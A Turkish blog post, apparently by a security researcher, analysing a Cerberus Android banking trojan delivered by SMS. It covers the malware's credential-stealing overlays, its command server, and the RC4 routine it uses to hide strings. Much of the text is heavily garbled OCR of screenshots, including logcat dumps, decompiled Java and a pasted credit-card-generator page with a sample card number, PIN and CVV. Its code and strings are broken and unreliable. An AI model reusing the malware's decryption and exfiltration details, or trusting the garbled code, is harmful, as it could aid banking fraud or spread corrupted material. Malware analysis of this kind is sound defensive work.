Cerberus Analizi

written by Mert SARICA | 1 December 2020
If you are looking for an English version of this article, please visit here.

2020 yilinin Subat ayinda cep telefonuma beni oldukca stphelendiren bir SMS
geldi. Mesajda yer alan https://ko[.]tc/hediyekazani web adresini ziyaret
ettigimde http://www-bedavainternethediyeuygulama[.]com web adresine
yonlendirildigimi farkettim. SMS’in gelmesinden kisa bir siire sonra web
sitesini tekrar ziyaret ettigimde bu defa da sitedeki gorsellerin degismis
oldugunu gordim. “Siphe, siber glvenlik arastirmacisinin kamgisidir” diyerek

bu durum ile yakindan ilgilenmeye karar verdim.


https://www.mertsarica.com/cerberus-analizi/
https://www.mertsarica.com/cerberus-analysis/
https://www.virustotal.com/gui/url/8c74e0d22998a0a2e32622c88470090bc4183f828013273c040de3259b1197a2/detection
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Web sitesinden sunulan 5GBeta.apk dosyasini indirip, mobil zararli yazilim
analizi amaciyla kullanilan o meshur Koodous web uygulamasina yukledigimde
analiz basarisizlikla sonuclandi. Ardindan bu uygulamayi VirusTotal web
uygulamasina yukledigimde her ne kadar bunun bir bankacilik zararli
uygulamasi olduguna dair bir ipucu (Cerberus) ile karsilassam da davranissal
analiz c¢iktisinda komuta kontrol merkezinin adresini géremedim. Aklima
takilan sorulara yanit bulamadigim icin is basa disti ve 5GBeta.apk
uygulamasini Genymotion Android oykinicusi (emulator) ile hizlica dinamik

olarak analiz etmeye karar verdim.

Zararli uygulamayi Android’e ylUkler yuklemez kotu emellerini gercgeklestirmek
icin ilk is olarak izinleri teker teker istemeye basladi. Izinleri aldiktan
ve ylkleme islemi basariyla tamamlandiktan sonra simgesini gizleyip, arka
planda calismaya ve komuta kontrol merkezi ile olan kryll[.]ug
(8[.]1208.19.185) web adresi ile haberlesmeye basladi. 8[.]208.19.185 ip
adresini VirusTotal Uzerinden arattigimda pasif DNS bilgilerinden hig¢ de
masum olmadigi net olarak goériliyordu.


https://koodous.com/apks/4c08f84f625ba7afb75d56400ca093d5da0f890b78b8a0c4ba919b135856086e
https://www.virustotal.com/gui/file/4c08f84f625ba7afb75d56400ca093d5da0f890b78b8a0c4ba919b135856086e/detection
https://www.genymotion.com/
https://www.virustotal.com/gui/domain/kryll.ug/details
https://www.virustotal.com/gui/ip-address/8.208.19.185/relations
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Sample Device Admin

| sample code for writing a DeviceAdmin class. This implementatior [
L] .- il : N

5 a Ul (in ApiDemos) for you to directly control what the

DeviceAdmin does with the system.

Sanal Android isletim sistemimde herhangi bir bankacilik uygulamasi yuklu
olmadigi icin karsima kredi karti bilgimi calmak Uzere olusturulmus Google
Play ekrani c¢ikti. Test icin olusturulan 16 haneli bir kredi karti numarasi
girdigimde kaydetme butonunun (SAVE) etkinlesmedigini gordim. Kredi karti
hanesini 19 yaptigimda SAVE butonu aktif hale geldi. Muhtemelen art niyetli
kisi, 3 haneli CVV2 numarasinin kontrolini kredi karti numarasinin girildigi



forma yonelik yapmis ve bdyle bir hata ortaya c¢ikmisti. Girdigim tim
bilgilerin komuta kontrol merkezine sifreli olarak gittigini gérdikten sonra

sifreleme anahtarinin da pesine dismeye karar verdim.
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Who do not carry at least one credit card (CC) in their wallet nowadays? Few. Especially with the boom of online
shopping, a credit card is a must buying anything online. One of the most popular CC brands is from a company
called VISA. Almost every bank and small-mom shop out there try to issue a VISA card to their customers;
whether it's a credit, debit, prepaid, or just a charge card.

Valid VISA Credit Card Generator that Work

Generator: Test VISA Credit Cards
Issuing network: Visa

Card number: 4510 9658 3456 0735
Pin: 1537

Name: Josh Lunar

Address: 9007 Mountaintrail Way
Country: France

CvVv: 938

Expiration date: 11/2022

enerate VISA Credit Card

Take a look at the legendary VISA company if you don't know who they are duh.

People hesitate to share their VISA CC details for an online purchase. Those working as developers or quality
assurance engineers for software companies may need to have thousands of credit card numbers to feed
through their applications. They need a tool to generate these kinds of valid VISA card numbers in bulk. They
should use a VISA Credit Card Generator 2020 for getting these test numbers regularly.
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Sifreleme anahtarindan 6nce zararli uygulamanin bankacilik bilgilerini c¢alip
calmadigini teyit etmek icin sanal sistemim lzerine 10 tane bankanin mobil
uygulamasini yikledim ve teker teker calistirmaya basladim. Yaptigim testler
sonucunda zararli uygulama, hedef aldigi mobil bankacilik uygulamasi
calistigi anda bankacilik uygulamasinin giris ekraninin lzerine sahte bir
ekran acarak kullanici tarafindan ekrana girilen tudm bilgileri calabiliyordu.
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D gps_vboxGé: Gps navigation has stopped “
I GnssLocationProvider: WekeLock released by hand 'T_REQUEST, 0, droid 1ocation.GnssLocat: )

E EGL_emulation: Tid 1303: eglSurfaceAttrib(1210): error 0x3009 (EGL_BAD MATCH)

Failed %0 set EGL SWAP_BERAVIOR on surface 0xda732h80, error-EGL BAD MATCH

, < tid 363: eglCreateSyncKHR(1831): error 0x3004 (EGL BAD ATTRIBUTE)

W OpenGlRenderer: Incorrectly called buildLayer on View: ShortcutAndiidgetContainer, destroying laver.
W OpenGLRenderer: Incorrectly called buildLayer on View: ShortcutAndiidgetContainer, destroying laver.
I zygote : Background concurrent copying GC freed 71093(3MB) AllocSpace objects, 10(296KB) LOS objects, 42% free, 1IMB/20MB, paused 1.08lms total 726.50lms
W zygote : Skipping duplicate class check due To unrecognized classloader

W ResourceType: For resouzce OX7£060007, entry index(7) is beyond type entryCount(2)

W ResourceType: Failure getting entry for 0x7£060007 (t=5 e=7) (error -75)

E GooglePlayServicesUtil: The Google Play services resources were not found. Check your project configuration to ensure that the resources are included.

E memtrack: Couldn't load memtrack module

W android.os.Debug: failed to get memory consumption info: -1

W AlarmManager: Suspiciously short interval 12000 millis; expanding to 60 seconds

I zygote 3 Backgzound concurzent copying GC freed 85997(SMB) AllocSpace objects, L(220KB) L0S cbjects, S0% free, SMB/LSMB, paused LS6us Total 152.944ms

W zygote : Skipping duplicate class check due to unrecognized classloader

W zygete : Checksum mismatch for dex base.apk
I RetivityManager: START u0 © tion.MAIN tent. category. LAUNCHER] £lg=0x10200000 cwp= ‘bamk/ . ui.beforelogin. nonbanking. NonBankinghetivity bnds=[395, 244] [473,374]} from uid 10015
W zygote : Skipping duplicate class check due To unrecognized classloader

W ResourceType: Failure gecting entry for Ox7£0G0007 (c=5 e=7) (exzor —75)
E GooglePlayServicesUci:
I Choreographer: Skipped 47 frames! The application may be doing too mich work on its main thread.

The Google Play services resources were not found. Check your project configuration to ensure that the resources are included.

I main B r:init:s0 cclassunix_strean socket permissivesl
I main 14125]" dev="s0ckes" ino=L4125 “r:init:a0 tclass=unix_stream socket permissivesl
I main pe=1200 audit(0.0:35156): ave: denied ( write | for path="/dev/socket/zygote” tclass=unix_stream sockst permissivesl

RN e e e e i /uoasi £or activity pany

E memtrack: Couldn't load memtrack module

W android.os.Debug: failed to get memory consumption info: -1

W zZygote : Unexpected CPU variant for X86 using defaults: x86

I Lua.Xposed: Loaded ‘bank: 10091

type=1400 2udit(0.0:35157): ave: denied | read } for name="capacity” dev"fuse” ino=t lendist ._rifusesst tclass=file permissive-1

type=1400 eudit(0.0:35158): ave: +healthd:a0 tcontext=u:object_r:fuse:s0 tclass=file permissive=1
type=1400 eudit(0.0:35159): ave: denied { getattr } for path="/dev/pipe/battery/BAT0/capacity” dev="fuse" ino=8 scontext=u:r:healthd:s0 tcontemt=u:ohjsct_r:fuse:s0 tclass=file permissive=l
T vndksupport: sphal namespace is not configured for this process. Loading /system/lib/egl/LibGLES emulation.so from the current namespace instead.

T vndksupport: sphal namespace 13 not configured for this process. Loading /system/Lib/egl/LibEGL emulation.so from the current namespace instead.

I MultiDex: VM with version 2.1.0 has miltidex support

I MultiDex: Installing application

T MultiDex: VM has miltidex support, MultiDex support library is dissbled.

D Firebaselpp: com.gosgle.firebase.auth.Firebasehuth is not linked. Skipping initialization.

T vndksupport: sphal namespace is not configured for this process. Loading /system/Lib/eql/LibGLESv1 CM emilation.so from the Current namespace instead.

/dev/pipe/battery/BATO /capacity” dev="fuse" ino=8 scontext=u:

D FirebaseRpp: Le.ireb h.FirebaseCrash is not linked. SKipping initialization.

1R APp measurement is starving up, version: 11020

1 : To cnable debug logging run: adb shell setprop log.tag.FA VERBOSE

1m To enable faster debug mode event logging run:

Im adb shell setprop debug.firebase.analyics. [ pank

I FirebaseInitProvider: FirebaseApp initialization successful

I RctivityManager: START u0 [f1g-0x10800000 3m. yiol s 1uiysg. i facueugolkihnt . yaqtduos]todjxofosal bwasmv} from uid 10097

Inetd 3 oype-1400 audit(0.0:35160): ave: denied [ gevopt } Zor path fwmazka” 12,768 tolass-unix_stream socket permissive-l

T nevd ype=1400 audit(0.0:35161): ave: denied | read )} for path: " ©230:6512,C7¢8 telass=unix_stream socket permissive=l

Inetd  : type=1400 audit(0.0:35162): ave: denied [ write } for path="socket:[71172]" dev="sockfs" ino=71172 tcontext=uzr: init:a0:c512,c768 telass-unix_stream socket permissive=l

D NetworkSecurityConfig: No Network Security Config specified, using platform default
I CrashlyticaCore: Initializing Crashlytics 2.3.17.dev

Sifreleme

anahtarini bulmak icin GDA araci ile 5GBeta.apk uygulamasini kaynak

kodunu cevirip uygulama ile ilgili temel bilgilerin yer aldigi

AndroidManifest.xml dosyasina baktigimda, zararli uygulama baslatildiginda

ilk calisacak olan MainActivity sinifi ile kaynak kodu arasindaki siniflarin


https://github.com/charles2gan/GDA-android-reversing-Tool

farkli oldugunu goérdim. Bu da zararli kod blogunun dinamik olarak calisma
esnasinda yuklendigine isaret ediyordu.
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File Edit View

Help

B Malscan

\Users\Hert\Desktop\56Beta.apk:={Lncneapsbpysnarhkjjn/yjolralaqlpzyjfuls/gsiverinfzdy/0slinboost;}
& AccessPermission oy

set instruction smali
B DexClass
 eegelskoktiepyyahngcu package: mcneapsbpysnarhkjjm.yjolrnlaglpzyjfuls.gsiverlnfzdy.0slimboost -
} meneapsbpysnarhkiin
e¥1t3asouraenrolyai import android.app.Application;
nadtzdelinxd

S A rtss OB AppLication e
 ebtegtbukdtxckz]
8 gsiverlnfzdy - -

void <init>();

e . </action> -
© alumberother static String assistfalse(); <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" >

static String avoidmove(int po,int pl,t /action>

static String cityearth(boolean pe,int </imtent-Filters

Static String clothword();
static String convinceghost(boolean po, <activit d:name="hxdhpatrritcdgliiluiyse. ifacueugolkkhnf . yagtduosjtcdixofosal .Unakeera® android:screendrientation="1" >
SRt Ees e e e 4 3 a7 ) i i R

static String elephantcoast(int p8,int

c name="hxdhpatrritcdgljiluiysg.ifacueugolkkhnf.yaqtduosjtcdjxofosal.rkyeicrb >
static String enrollelbow(boolean po, ir b nt i 2 . " i s 2 '
' static String eternalnegative(); <activity d:name="hxdhpatrritcdgliiluiysg. ifacueugolkkhnf . yagtduosjtcdjxofosal.Ltailsituate” id:screendrientation="1 3
B static String expressembrace(int po,int aeayy

static String fictioncurrent(int pg,int <activity android:label="" android:icon-"g7F020000" 0id: name="hxdhpatrritcdgljiluiysg. ifacueugolkkhnf .yaqtduosjtcdjxofosal .
static String fingerclever(int po,int ey
static String hourmisery(boolean pe,int <activity = d:label-"1abel_remind" oid:name="hxdhpatrritcdgljiluiysg.ifacueugolkkhnf .yaqtduositcdixofosal Nexoticsuspec

P static String </activity>

& static String impactinform(boolean po,i <activity android:name="hxdhpatrritcdgljiluiysg.ifacueugolkkhnf.yaqtduosjtcdjxofosal.Zwarfareway” android:screenOrientation=
static Strin curve(int pe,int p1,< ey
Es SR P R e R e R i e e G

© claterspy static String oakguilt(int po,int pl,S5t e o Sl ot i o NN 5

D s G ey

Olitcasio i la static String pagestrong(int pe,int pl, e RSt

S static String raceuphold(); <category, androld:name="amdrold, intent -category. LAUNCHER™: >

© Himpulseinely static String ravenreveal (boolean pa, ir e

@ Htoothrepeat static String regulartomato(int po,int </intent-filter>

® Inuseunjunior static String scoutbroon(); activitys

@ Ipillramp static String spaceincome(int pe,int pl <activity android:label="label_pitch" android:name="hxdhpatrritcdgljiluiysg.ifacueugolkkhnf.yaqtduosjtcdixofosal.Vidleload" >
static String tagfringe(); activity>
static String tankglue(int pe,int pl,st <activity = d:label-"label_coral” d:name="hxdhpatrritcdgljiluiysg. ifacueugolkkhnf. yagtduosjtcdixofosal .Rbleakdemand”
static String tuonaple() activitys
static String untiltornado(int po,int ¢ i s e e e ARk
static String waterproof(); < I v

void attachBaseContext (Context pe);
File bluestove(String p8);

void brandlaugh(String po,String p1,5tr
int clutchartist(stringBuffer pe)

File festivaluncover(Context po);
StringBuffer givewrap();

String hiddenpen(String pe);
String matrixgarden(File po);
Stringdu
boolean nervepanic(StringBuffer p@):

boolean sausagedeer(String p@)
File throwgaze(Context po,St:

Zararli uygulamanin yikld oldugu
/data/data/mcneapsbpysnarhkjjm.yjolrmlaqlpzyjfuls.gsiwerlnfzdy klasdrine
baktigimda boyutu blyik olan ring0.apk ve NpA.json dosyalari dikkatimi cekti.
NpA.json dosyasinin aslinda bir DEX dosyasi oldugunu o6grenip jadx araci ile
kaynak koduna cevirdigimde AndroidManifest.xml dosyasinda yer alan
MainActivity sinifi ile karsilasmis oldum.




Sifrelenmis karakter dizilerini inceledigimde f sinifinin sifreleri c¢ozmekten
sorumlu oldugunu 6grendim. Bunu yapmak ic¢in sifreli karakter dizisinin RC4
anahtari olan ilk 12 karakterini alip, BASE64 ile c¢ozulen geri kalan
karakterlerin sifresini bu anahtar sayesinde c¢oéziyordu. (Ornek sifreli
karakter dizisi

mjwpnqgfxpgweNDNiYjQ2M2JiNzMxNzE30WM50DR] ZmI1ZWFKYzYxMjYANDE4YTY3MDVhNTZ1ZGZ1M
GNhNmQ1ZDV1IMzU2MTES5NWU5YjYyNw== ise RC4 sifreleme anahtari mjwpnqfxpgwe
degeri oluyor. Bu anahtar ile geri kalan sifreleri karakterleri
(NDNiYjQ2M2JiNzMxNzE30WM50DR])ZmI1ZWFKYzYxMjY4NDE4YTY3MDVhNTZ1ZGZ1TMGNhNmQ1ZDV1l
MzU2MTES5NWU5YjYyNw==) BASE64 ile cozdukten sonra sifreleme anahtari sayesinde
¢ozuyor) Ben de tim sifreleri karakter dizilerini ¢b6zmek ic¢in f sinifinda yer
alan Java kodlarini compilejava.net sitesinden kolaylikla faydalanarak

¢cOzebildim.
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LA

[2a|e @B

J B 3 TN T
2 NpA. dex | [PCYr—— jiluiysg. i . osal.a 3¢ | © hedhpatrri 1 -yaqtduosjted] b 3% | O hxdhpatrritcdgljilulyse.i o <[>
-G8 Source code
3 feeyncjgfyaabgmhteqeokknro * |package P3 dgl. “yaq jtedj 5 B
& gurgxbphznhutsdyipkom 5 |import android.util.pazess;
& hxdhpatrritedgljiluiysg 3
@ dqtjhneyjafjtkphupa 5 |public final class b {
& dwtzbbdabfeccudualzklm 6| public String A = b("nidbpmmnyThOwUI!
£ ebbaksssbrlasgxyq 7| public String B = b("icvanwcolaopZTewtig
5|  public String C = b("FixacemrbmaiiDg2ZA
& fzxsth B
i TRRAAE 9|  public String D = b("yzbhmsxznlpoVVSOA L
WL racteugolickhn 10| public String E = b =
& aay = 1 public String F = b("
£ bggqrifpgndgxxalzqlkmmanr 12| public String G = b(
£ buiugynmzjthiedgkjcca 13| public String H = b(
£ Fsoayqifuurxijrjdomk s PUbIIC STEANRIT =¢hi(
W 15| public String 3 = b(
P . 16 public String K = b(
i pgtjorsqpddtbtuhyj T public String L = b(
i pzatgifamgcrigujdab 18| public String M = b(
i siyeyltxnkcburd 13| public String N = b("
2 blic string 0 = b
# tomk 2 publi g
 yaqtduosjtcdixofosal 2k publicofoinp S
i s LIl 22| public string @ = b(
# bsuoprbdgforpg 23 public String R = b(
f# dbgbxttbhfkhrbtdbgkzfux 24| public String 5 = b(
# diaykh 25| public String T = b( ermmvkmf]o«z
£ fexijbznbytnegjtmhlyttpz 25| public String U = b("hjptizundvhiTA
f itrlkzterelaxtfprls 27| public String V = b("ofkdawfeobtf2IIhVE
25| public String W = b("behohqlumzzgy2Y3vg
B kpbxm 25| public String X = b("egjqzimibnpdHDIxNO:
# tcfzajueajeq 20 public String ¥ = b("dyemxqduurcaVmRiNA
# ugahpnzku 51| public String Z = b("sodfijbdlhlsoDYar
# wjubmgnilziawfuizc 52| public boolean a = false;
& yFacdpiwgey FlyFlduyg 33| public String aA = b( W],\anfxpg,\eNDN)V]QQ\\.ijNA il zE 30MSODRS Zn T 1 ZWF Y ZYI1 YANDEAYTYSHDVAIT 21 Z6ZIMGHHImQLZDVIMZU2HT ESNAUSY Yy ==") ;
_ 34| public String aB = b("pFoinelupF THZNDF mYMERY SElimn 2V TY 1 T3 VF YQej NI TNV TE3YS AT ZuNmY T ZkY S AZMDIIOHES") §
£ zmnraiotuypes
35| public String aC = b("twrwyboxyjcEnTHEj TZhiZhizeT 2
Ga 36| public string ab - b("qkiqg] b JQGYKNDBENzk=ZOKaNITSNZUIODALNE NNU="") 3
o 37 public String af = b("faofnhugzlagDOmliTdmHDC2Y:
© Bchildblouse 38| public String af = (b("auighbecluggZet=") + b(uskhxsbitudhYTFKILQANZRLNIQZIMIAY JkEYTQSTHI2ZGHEY, + b "ahemecgar KEblinH 30Dk 2YYmY2ZDNINOTYBIGINOUBNIDUANGHITBKIDQz" ) + b(*Jede:
O Berewfatigue 3 GEBLIC e e (beaigic g ) | HCoienil Fnarmou Oy e o s 0si TGen omsy 1y e LAHG SR g R DR T ") + b("tuppy
® bwasmv a0 public String aH = (b(" o b(" ZTE@MZBLND: TIGYT. 5 ") + b(" ZTh2YzgalN
41| public String aI = b(" ney/mnthqxplZTE;VjVSOTi«NJj )
O« " 42| public string a3 = b("hwlaohmxneh DdiY2Qz0TIaNNYSY 2y Y200 JELI2Y2YTeHiTURTOVK THTSONF IZQ30MUET) X THSOMIIKTHIINAI21 1o
® cpeukpzpumbijfs 43 public String ak = b("jjptdsxchmfchiYxNHULMMIJOGZmYIF JOTESNGYWY THSNGYINZUSM2USZTE2M ‘msvms‘ MTILYw:
© cuklitemuka a4 public String al = "PCFETENUWVBFIGh@bw+CxodG1sIGxhbmeITmVul; AKPEhlV;\Q&()—gI(—E ko ]VVEVtO[I&[x.—gIC g 1pS32ak Ig d21kdl WIN1LXdp ZHR
®d 45| public Clacc[] ah = {wzeojtewpdf. class, vahzjahlkpaq. class);
45| public string aa = b("tnaizllhkshxivizys &
g e m v
Ecomicslim
Smal
@ efdioknlnxpnl | coce [Sra]

File View Navigation Tools Help
SRems#FAe | @B L
T dbgbXTtBRFRArbEabg = ——— —= - — - - - s
o e @ hxdhpatrritedgl jiluiysg. -yaqtduosjtcdixofosal £ 3 | @ hxdnpa luiysg. i % | ® nxanpatrr: luiysg .yagtduosjtcd |,
fgxjbznbytnegjtmhlyttpz 1 [package hxdhpatrritcdgliiluiysg. ifacueugolkkhn?.yaqeduosjtedixofosal;
8 fexj ytneg] Lyttp: package P g1jiluiysg = yag jtedj; 5 El
 itrlkztezelaxtfpzls 2
& kpbsm 5 |publlic final class f {
B a|  private int[] a;
 tcfzajueajcq 5| private int b = ;
#F ugahpnzku 5| private int c = 0
# wiubmgnilziawwfujzc 7
f# yFacdpiwgey fiyFlduyg 5| public F(byre[] barr) {
f# zmnraiotuypcs 2 ; this.a = c(bArr);
®a
u
©b 12| private static void a(int i, int i2, int[] fArr) {
B Bchildblouse 13 int i3 = iArr[i];
0 Bcrewfatigue 14 iArr[i] = iArr[i2];
@ buasmv Bl EREpEea
®c &
o 17
ic] cpcwlfpzwmbljfs 15 private static int[] c(byte[] bArr) {
® cuklitemuka 19 int[] dArr = new int[256];
®d 20 for (int i = @3 i < 2563 i++) {
@e n iarr[i] = 43
© Ecomicslim 22 b e L
© efdioknlnxpnl 24 for (int i3 = @5 i3 < 256; i3++) {
g Emovepage 25 12 - (((i2 + iArr[43]) + bArr[i3 ¥ bArr.length]) + 256) % 256;
g 2% a(i3, 12, darr);
O Fbladedivorce 27 }
O Fintacttobacco 25 returnziAre;
Q Frelybring g
] Jflipjewel B public final byte[] a(byte[] barr) {
@ jihkbhmintent] 32 return b(bArr);
@ jnghdyewiuc EEI I
® jrnk 34
7 " 35| public final byte[] b(byte[] barr) {
g Jrecldllyajzxzlb 36 byte[] bArr2 = new byte[barr, length];
kfqkjjspvhnst 37 for (int i = 0; i < bArr.length; i++) {
® kivrzmhxlmunhesd 38 i (this.b + 1) % 2563
@ Mclumphen 39 int i2 = this.c
@ mgtzajuxvigk a0 int[] darr = this.a;
© Mladyexcuse 41 int i3 = this.b;
Bt ekt a2 this.c = (i2 + 1Arr[i3]) ¥ 256;
PRrl o 43 a(i3, this.c, iArr);
B Oappearbrass 4 int[] dArr2 = this.a; B
O Oearlylevel 45 bArr2[i] = (byte) (iArr2[(iArr2[this.b] + iArr2[this.c]) % 256] ~ bArr[i]);
@ Paffordhusband 45 )
® prufpbventugy 47 return barr2; o
Q@ Psurfacemesh | code ['Smai]

|

2

c o

& compilejavanet

@ Hackd Career Infor.. [0} Linkedin 9 Mert SARICA (merts.. M Inbox - mertsarica.
3 i

37 public Final byte[] a(byte[] barr) {

E return b(bArr);

a0

a1 publl( Finsl byte[] b(byte[] barr) {

2 te[] b yte[bArr. length];

43 o ()'nt 18T br\rr,lrngth, i) {

aa, Shisb - (fhis.b + 1) % 3563

as int i2 = ¢

a5 intl] tarr = this.a;

a7 nt i3 = thi:

a8 this.c = (i2 + iArr[i3]) % 256;

a9 ai3, thisc, farr);

e int[] iarr

51 bArE(L] < (oyte) (Arr2[(iArralthis.b] + fArr2[this.c]) ¥ 256] A bArr(4]);
53 Peturn bArr2;

54

55/}

56

57 // one class needs to have a main() method

58 public class Helloworld

50

0

61 public static String a(String str) {

2 try {

63 7/ return new String(new f(str.substring(e, 12).getBytes()).a(b(new String(Base64.getDecoder ().decode (str,substring(12), @), "UTF-6"))))3
61 return new String(new f(str.substring(0, 13).getytes()).a(b(new String(Baseéd. getDecoder().decode(str. substring(12))))));
65 Festeh (Ex(ept)en unused) {

6

68 ¥

private statle byte[] b(String str) {
't Len

int Length = ser.len
bysel] Eare

o Length;
barr[i2 / 2] =

return bArr;

public static void msin(String[] args)

/1
5

i Evee] (Rength / 213

< i2 4= 2)
(Brte) {(Chavact ot abgtel v schacAliis)

16) << 4) + Character.digit(str.charAt(i2 + 1),

16))5

System. . pr)ntln(a(

pfoi

System.out println(a("gk

System.out.println(a(" fasfnhuqzlngDQwMTdeDcZYszH]kBN]VZ i
3

}

# s 0BG @O

Other bookma:

rks

R —

[command line arguments)

[ COMPILE & EXECUTE Il PASTE SOURCE Il DOWNLOAD ZIP

| [ default

sti-0048q=saved_contact skzip=q5ks
sti=005&q=saved o)
=rat_connectlus=
Aerat cmdfuse
ringa.apk

Successfully compiled /tmp/java_INzPK3/f.java
Successfully compiled /tmp/java_INzPK3/Hellokorld.java <-- main method

applicotion s ipaqshuse



escn G * s 0omeEmBus @O0
@ Hack4 Career. Infor.. [ Linkedin W MertSARICA (merts.. M Inbox - mertsarica, Gther bookmarks
System.out. print(a( "ccxrdsIyco N UIN] KSNDVKHT INNHYODCXYS Y 2Y I8N ZnT ZM2Y4N 2 IhZ GV LNDMBHz LkYWT3H2 FRHGY X SUSZHR ANWF LM ALMTMZYZA" ) )3 =
St oprincin(ag-cmsds L InkeherEYS
out printin(al"cdnceydtcuplizEoN
oot printIn(o( ntkocjpabbzects l
out printin(s( o
ut _printIn(a |
< princdn(ag 35 20E2HGR]"));
‘out .printIn(a nulmcef;dg(ShQLGU‘DDMYZF)DVNAOW )i
ot printIn(a{tomchhurySriI10CION022 D1KHTAGZQ==")); !
Jout . printinag"dgismivbaanYT 320" 4
‘printin(a("ghggxsx e GOy R T 125 LN 0 g LAy JRMDF 3230 T UGN YL DERE 1) )3 1
out.println(a(” mlaemn]hwmz_mm):]N Q2M2Y 1N 10TY4NGUIMTARBYmY12GU=Z  FmNmESHWZ! |
out printinal bt fudlEhLun i iz VoHE ) it DRe2 4 Mz Lal DL 251Gz 10120Rn
“out printlntat: e \/lUNQyVT\/]UMVEGMRkNmQAOTY SFhe
: tln(a (LN 2 hizQ2! TSN TG Y1 2602 Pl EON 2l Ui DT 2002 20507 E 1 DE10GU T2 g "))
st S S e e e I e i At et
lout println(a("fagvsnnpkneyling="
lout. Emntlnga( KaBdLknFctaiNzl )*)waunaj\muamszmzr1muANwNmommwsevwmkum MTIGIE DD E2NOTIY Cov e avSUaNT X =OmThtzi )
ot printIn(a (L pdnt 114 T2 S0z e IO DO D ST TR L2 e SR T CEV VTG i 12GEuzE==")}}
out priven(al”) iareb e roDgsz) 1o TEOznor wﬁ.l.TBk’DFlo saritanive Y22 5N2 122G 12T dhZnI@ZTYe0D] 1N
.Dut.pr‘intln(a("stxub b N A S e VyYMLBrmuxNDgZHJVlNZWN]hmM]EZYTU NTNIYTFKZThnODLnYi=="));
lout | printIn(a("pbepiuniuobFitz EzNnRHMSYZVRHT I LY TEmN 02D IxMDk2ZnG2Y2U3YhiY 2 ABMEUBIT Nz  IMDg SODR iz ;
Systen.out  println(ag"txhjnknfrdfqYzQuTZY3ZINDUIOHXYzcyZTB £xY2g07DC50DRNZHENYIRLZ S RNTQSYThSNRZZT TyNzd INzli=")) 5
4 System.out.println(a IR VS 12 LV BN TS M LIV DL QAT SO A B 305E HImQLONE 023 ROT 22T L1V yOHE
Systen.out printin(a"eny g gy U o0 ITF K22 1YW ZDUW 20 TFLHNUZNTHHHEANG SEn T R e
B S s Sttt k‘-uiq5V]c]7GWrHTEZ7G]yrmu XNAQLHZEHIDC LN au WE 17DQ3MDQANI Y MmE D1
Systeniout printin(a( Garlogn FeloViv TSIy d g1z 2001 G, P iRm0t 24200
systen.out  println(a("comme ki UaiY3 TyOT ImYHT 2YTQZNZUNNZ 1YY N1 YmLixY zA4Y ZZKYWE SHmQnON FKYz mmvvzmzrwumwmmze i
o Systen.out println(a("2paq:segurnQAZ] I1HMESZONNL) kY T3 ZnY30T VUE3NDHATQRHS Vi /@N3 73 ZDNKOThKMAT 1Mk 5¥
© 5ysten out printin(a(coxrds Jycolu U SOV TSI YODE] Y Johin: NZSZGULHOHON LU TSV RIGS2USZAR L 1]
System.out println(a( “neirljuxapdshD s
System.out. pr‘)ntln(a("xtqlAFﬂ:qudil_Q e
System.out printin(a(”)scuibanmigyve— )5
System.out println(a kragyepTiie— )5
Syetem-out brintln{ag"Jhechs wohchhzTg2vo—=")) ;
System.out println(a e
7 System.out println(a(” e
System.out println(a 905
System.out println(a 203
System.out println(a e
System.out println(a 2%
ek intln(a Ny
System.out .println(a( “xouptxcapdoiNzIx@=="))}
System.out .println(a( "oagpkTkdlxrgOTUXNA=="))}
System.out println(a( "niduguyzbsevzFlvu=="));
System.out .println(al “gfuoseiuhugbl2Usia=="))}
Systs n(a(" ")
System.out.println(al 205
9 System.out.println(al 203
System.out println(a g
System.out println(a(" oy
System.out println(a(" e
Systeniout printin(al’ls Y

ystem out println(a "xviryflqurusty 3
&y em ot B neIn{ag gy gt P TimA) )

(command line arguments)

[ COMPILE & EXECUTE Il PASTE SOURCE Il DOWNLOAD ZIP defaut v
Successfully compiled /tmp/java_3pPRuS/f.java / B
Successfully compiled /tmp/java_3pPRuB/Helloliorld.java <-- main method quer tysiopasdfghjiloneibnal 224567250

14q=d_sttacker_tuodzip
attacker&np q38us=
is_sttacker&zip-qadu
nfo_devicedzip=a
u_devicelzip
sti= Oné&q saved_data xttacker&z)p q7sus= v

Komuta kontrol merkezine gonderilen sifreli verilerin sifreleme anahtarini

bulmak icin sifresi c¢o6zilmis karakter dizilerinde JSON gec¢tigini gd6rdudgum

i¢in kodda bu sinifin kullanildigi noktalara odaklandim. Zararli uygulama

calistiktan sonra komuta kontrol merkezine belli periyotlarda

sti=004&q=info device parametresini ardindan da ws= sifreli parametresini

gonderdigini bildigim icin bu iki degerin birbirine eklendigi kod blogunu

buldum. Bu kod blogunu analiz ettigimde ise ws parametresinin

alien ring0® wdfes RC4 anahtari ile sifrelendigini tespit ettim.

& “New Froject - jaax

ile View Navigation Tools Help

&E P

EL-ICIRE P

- oznxpm
£ pgtjorsapddtbtuhyj
£ pzatgifzngerigujdab
£ siyeyltxnkeburd
£ trmk
- yagtduosjtedxofosal
i bsuoprbdgforpg
£ dbgbxttbhfkhrbtdbgxukzfux
8 djaykh
8 Fgxjbznbytnegitmhlyttpz
£ itrlkztezelaxtfpzls
£ kpbxm
# tofzajueajcq
8 ugahpnzku
8 wjubmgn] 1ziamefujzc
8 yfacdpjugeyfiyflduyg
£ zmnraiotuypes
2

@b

@ Behildblouse
© Berewfatigue
® buasmy

®c

® cpeukpzpunbijfs
® cuklitemuka
of

Ge

© Ecomicslim

® efdiokmlnxpnl
@ Emovepage

®

© Fbladedivorce

@ Fintacttobacco
© Frelybring

© Iflipjewel

© jihkbhmintent]
@ jnghdyewiuc

@ jrnk

® jtocldllyajzxzlb
® kfgkjjspvhnsf

© kivrzmhxlmmhesd
© Mclumphen

11 1uiysg. ifacueugolikhnf. yaqtduosjtedixofosal.d 3¢ | @ hxdnpatrritcdgljiluiysg. ifacueugolkkhnf yaqtduosjtcdixofosal.yaq 3¢ | ( hxdhpatrritcdgl

1uiysg. ifacueugolkkhnf.yaqtduosjtcdjxofosal .wzeojtewopdf 3 |,

T Previous | Mext [Mark Al []Regex [7] Match Case [] Whole word 3¢

Find:b.f
=

o

3

oD
jsouob]m pma(
sonobject.put(a(
350NObject . put(a(”
Jsonobect. put(a(
Jsonobect.put(a( b
(-
(
(

Jsonobject.put(a
Jsonobject. put(a
JsoNobject. put(a
Jsonobject. put(a
Jsonobject. put(a
Jsonobject.put(a
jsouob]e:t put(a("=

Jsonobject. putia(
} catch (J5ONException unused)

xngqycocnavg!
ujnujzouhggstiiithzg:
khcf 2q jamquun!
pesesn] 2dac06T
iy JbSHT UM
haue dpkfgvekYitixig:
‘v Funhs ytglljRi
